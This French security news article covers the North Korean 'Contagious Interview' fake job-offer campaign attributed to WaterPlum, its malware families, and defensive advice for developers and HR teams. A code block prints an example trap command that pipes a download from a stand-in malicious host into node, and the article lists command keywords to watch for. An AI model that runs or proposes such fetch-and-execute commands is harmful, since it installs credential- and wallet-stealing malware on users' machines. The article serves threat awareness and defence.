Campagne Contagious Interview : l'arnaque aux fausses offres d'emploi attribuée à la Corée du Nord (WaterPlum)

Plus de 30 000 machines infectées, 100 pays touchés et 10,7 millions de dollars dérobés en cryptomonnaies. Ce bilan, rendu public par une alliance inédite de quatre agences de cybersécurité (Japon, États-Unis, Australie, Allemagne), lève le voile sur l’ampleur de la campagne Contagious Interview. Pilotée par le groupe nord-coréen WaterPlum, cette opération d’espionnage et de vol financier cible spécifiquement les développeurs et experts en blockchain via un leurre redoutable : de fausses offres d’emploi. Derrière le masque du recruteur se cache une machine de guerre économique au service du Bureau 313 de l’industrie munitions nord-coréenne. Décryptage complet de cette menace et des parades indispensables pour les professionnels français.

L’attribution conjointe de la menace WaterPlum

Le 18 septembre 2026, une alliance diplomatique et sécuritaire rare s’est concrétisée. La National Police Agency du Japon, le FBI américain, le Australian Cyber Security Centre (ACSC) et les services de renseignement allemands BND et BfV ont publié un avis conjoint attribuant formellement la campagne Contagious Interview au groupe WaterPlum. Ce groupe est directement rattaché au Bureau 313 du Département de l’industrie des munitions de la Corée du Nord, l’entité qui supervise la production d’armement. Cette affiliation ancre la campagne dans une logique de collecte de fonds pour l’État, bien plus que dans une simple cybercriminalité opportuniste.

« Cette attribution conjointe ne laisse aucun doute sur l’origine étatique des opérations. Elle démontre une convergence inédite entre fraude à l’emploi, espionnage technologique et contournement des sanctions internationales. »

En France, les équipes de l’ANSSI et du CERT-FR surveillent ces indicateurs de compromission (IoC) avec la plus grande attention. Pour un responsable sécurité, cette alerte multilatérale constitue une référence officielle : les menaces visant les individus en amont du cycle de recrutement doivent désormais être intégrées au plan de remédiation.

Les agences impliquées et la portée de l’alerte

L’avis conjoint porte les sceaux de la National Police Agency japonaise, du FBI, du Cyber Crime Center du Pentagone, de l’ACSC australien et des services BND/BfV allemands. Une telle coordination est rare et souligne le caractère systémique de la menace. Les agences décrivent les pertes subies : environ 1,7 milliard de yens (10,7 millions de dollars) en cryptomonnaies, principalement dérobés entre décembre 2025 et juillet 2026, avec près de 7 000 cas de portefeuilles crypto volés enregistrés par la police japonaise.

Anatomie d’une arnaque à l’emploi high-tech

Le modus operandi de Contagious Interview est d’une efficacité redoutable et repose sur une ingénierie sociale très ciblée. Les opérateurs se font passer pour des recruteurs d’entreprises prometteuses dans l’intelligence artificielle, les NFT ou la cryptomonnaie. Ils approchent leurs cibles via les réseaux sociaux professionnels (LinkedIn), les plateformes de freelance (Upwork, Malt, Fiverr) et les forums spécialisés.

Le piège de l’entretien technique

C’est à l’étape de l’entretien technique que le piège se referme. Le candidat est invité à exécuter un test de codage ou à diagnostiquer un problème de vidéoconférence. La demande semble légitime, mais le fichier fourni contient en réalité une charge malveillante. Cette dernière est souvent dissimulée dans un package Node Package Manager (npm) hébergé sur GitHub ou Bitbucket.

# Exemple de commande piégée typique observée dans la campagne
curl -sL http://malicious-registry.com/interview-test | node
# Ou via npm
npm install beavertail-package-name  # Package malveillant

Si vous êtes développeur, exécuter du code non fiable sur votre machine de travail est le geste le plus risqué que vous puissiez faire. Les commandes contenant curl, base64, -enc, mshta ou Invoke-WebRequest doivent éveiller tous vos soupçons.

Les familles de logiciels malveillants déployées

Les agences ont identifié cinq familles de malwares distinctes qui travaillent de concert pour siphonner les données critiques :

1. BeaverTail : Infostealer JavaScript dissimulé dans des packages npm, collecte identifiants et données navigateur.
2. InvisibleFerret : Backdoor Python assurant la persistance et le contrôle à distance.
3. OtterCookie : Cheval de Troie d’accès distant (RAT) JavaScript doté de fonctions avancées de vol d’informations.
4. OtterCandy : Variante fusionnant OtterCookie avec la famille RATatouille, rendant la détection plus difficile.
5. StoatWaffle : Chargeur Node.js modulaire qui regroupe le vol d’identifiants, l’exfiltration de code source et un RAT.

Ensemble, ces outils siphonnent les identifiants, le contenu du presse-papiers, les frappes clavier, les copies d’écran, les clés de portefeuilles de cryptomonnaies, les phrases de récupération (seed phrases), les documents d’identité et le code source des projets en cours.

Pourquoi développeurs et experts crypto sont dans le viseur

Le choix des cibles n’a rien d’un hasard. Les développeurs manipulent quotidiennement des ressources d’une valeur inestimable : clés privées, tokens d’accès aux API, code source propriétaire et portefeuilles de cryptomonnaies. Un développeur blockchain ou un ingénieur en IA possède souvent les droits d’accès à l’infrastructure de production de son entreprise.

Un objectif de vol de cryptomonnaies

L’objectif premier est le vol d’actifs numériques. Les malwares de la famille Contagious Interview sont spécifiquement configurés pour extraire les seed phrases et les fichiers de portefeuille. Selon les données de la police japonaise, la phase la plus intense s’est déroulée entre décembre 2025 et juillet 2026, avec environ 7 000 cas de vols de portefeuilles de cryptomonnaies enregistrés au Japon. Les pertes totales sont estimées à 10,7 millions de dollars, un chiffre qui pourrait n’être que la partie émergée de l’iceberg.

Le lien avec le système de travailleurs IT nord-coréens

L’avis conjoint établit un lien direct entre Contagious Interview et le vaste programme nord-coréen d’infiltration de travailleurs IT. Les opérateurs de WaterPlum utilisent des identités volées et des VPN pour dissimuler leur localisation. Ils opèrent depuis la Corée du Nord, la Chine, la Russie, l’Afrique et l’Asie du Sud-Est. Des fermes d’ordinateurs portables (laptop farms) sont installées chez des complices pour fournir des adresses IP locales crédibles. Lorsque ces travailleurs infiltrés sont découverts, ils n’hésitent pas à recourir à l’extorsion, à la défiguration de sites web ou à la publication de code source volé. Les enquêteurs japonais ont déjà démantelé une de ces fermes et retracé plusieurs centaines de millions de yens à l’étranger.

Mesures de protection et bonnes pratiques

Dans la pratique, les équipes sécurité françaises doivent adapter leur posture. Voici les recommandations issues directement de l’alerte conjointe, enrichies des retours d’expérience terrain.

Guide à destination des développeurs et candidats

Avant d’exécuter un test technique, appliquez systématiquement cette checklist :

• Exécutez le code non fiable exclusivement dans une machine virtuelle ou un environnement conteneurisé (Docker) sans accès à vos fichiers personnels.
• Ouvrez les projets inconnus dans le Mode restreint de Visual Studio Code. Inspectez minutieusement le fichier .vscode/tasks.json avant toute exécution.
• Méfiez-vous des commandes qui invoquent des téléchargements : curl, base64, -enc, mshta, Invoke-WebRequest.
• Vérifiez systématiquement la réputation du recruteur et de l’entreprise sur plusieurs canaux avant d’accepter un test.
• En cas d’infection présumée, considérez tous vos identifiants comme compromis, faites pivoter vos portefeuilles depuis un appareil sain et réinstallez complètement votre système d’exploitation.

Recommandations pour les entreprises et les RH

Les directions des ressources humaines et les DSI doivent travailler de concert pour sécuriser le processus de recrutement technique. Voici les signaux faibles à intégrer dans vos procédures :

« Les entreprises qui rémunèrent involontairement un contractant nord-coréen s’exposent à des risques de sanctions financières très lourdes. La due diligence ne doit plus être une option, mais une obligation réglementaire. »

Un cadre réglementaire et juridique renforcé

L’attribution de la campagne Contagious Interview n’est pas qu’une alerte technique ; elle a des conséquences juridiques directes pour les entreprises françaises. Le Département d’État américain a émis une alerte spécifique sur les travailleurs IT nord-coréens en juillet 2026, et le Département de la Justice (DOJ) a déjà engagé des poursuites contre des facilitateurs et saisi des laptop farms.

En France, les implications sont doubles :

• Sanctions internationales : toute entreprise qui verse un salaire à un contractant nord-coréen sans vérification d’identité s’expose à des poursuites pour contournement de sanctions.
• Protection des données (RGPD) : la fuite de code source ou de données personnelles via un poste infecté peut entraîner des sanctions de la CNIL. Les opérateurs d’importance vitale (OIV) doivent déclarer l’incident à l’ANSSI.

Le ministère des Affaires étrangères du Japon a déclaré qu’il « renforcerait ses efforts avec ses alliés et pays partageant les mêmes idées ainsi qu’avec le secteur privé ». Il est probable que des désignations de sanctions spécifiques suivent cette attribution. Les équipes DevSecOps françaises doivent intégrer ces risques dans leur analyse de la chaîne d’approvisionnement logicielle, en renforçant les contrôles de Software Composition Analysis (SCA) et en bloquant les packages npm suspects.

Conclusion : faire de la vigilance un réflexe face aux offres d’emploi piégées

La campagne Contagious Interview gérée par WaterPlum démontre que les cybermenaces d’État savent désormais exploiter les maillons faibles humains avec une précision chirurgicale. Ce n’est plus seulement le pare-feu de l’entreprise qui est attaqué, c’est le poste de travail du développeur ou de l’expert en finance décentralisée.

Pour les professionnels de la cybersécurité français, la leçon est claire : la vérification des identités et l’isolation des environnements de test ne sont plus de simples bonnes pratiques, ce sont des remparts essentiels contre des assauts financiers et géopolitiques. La prochaine fois qu’une offre d’emploi trop belle vous sera présentée, rappelez-vous que derrière le recruteur peut se cacher un groupe parrainé par un État. Restez vigilants, vérifiez, isolez.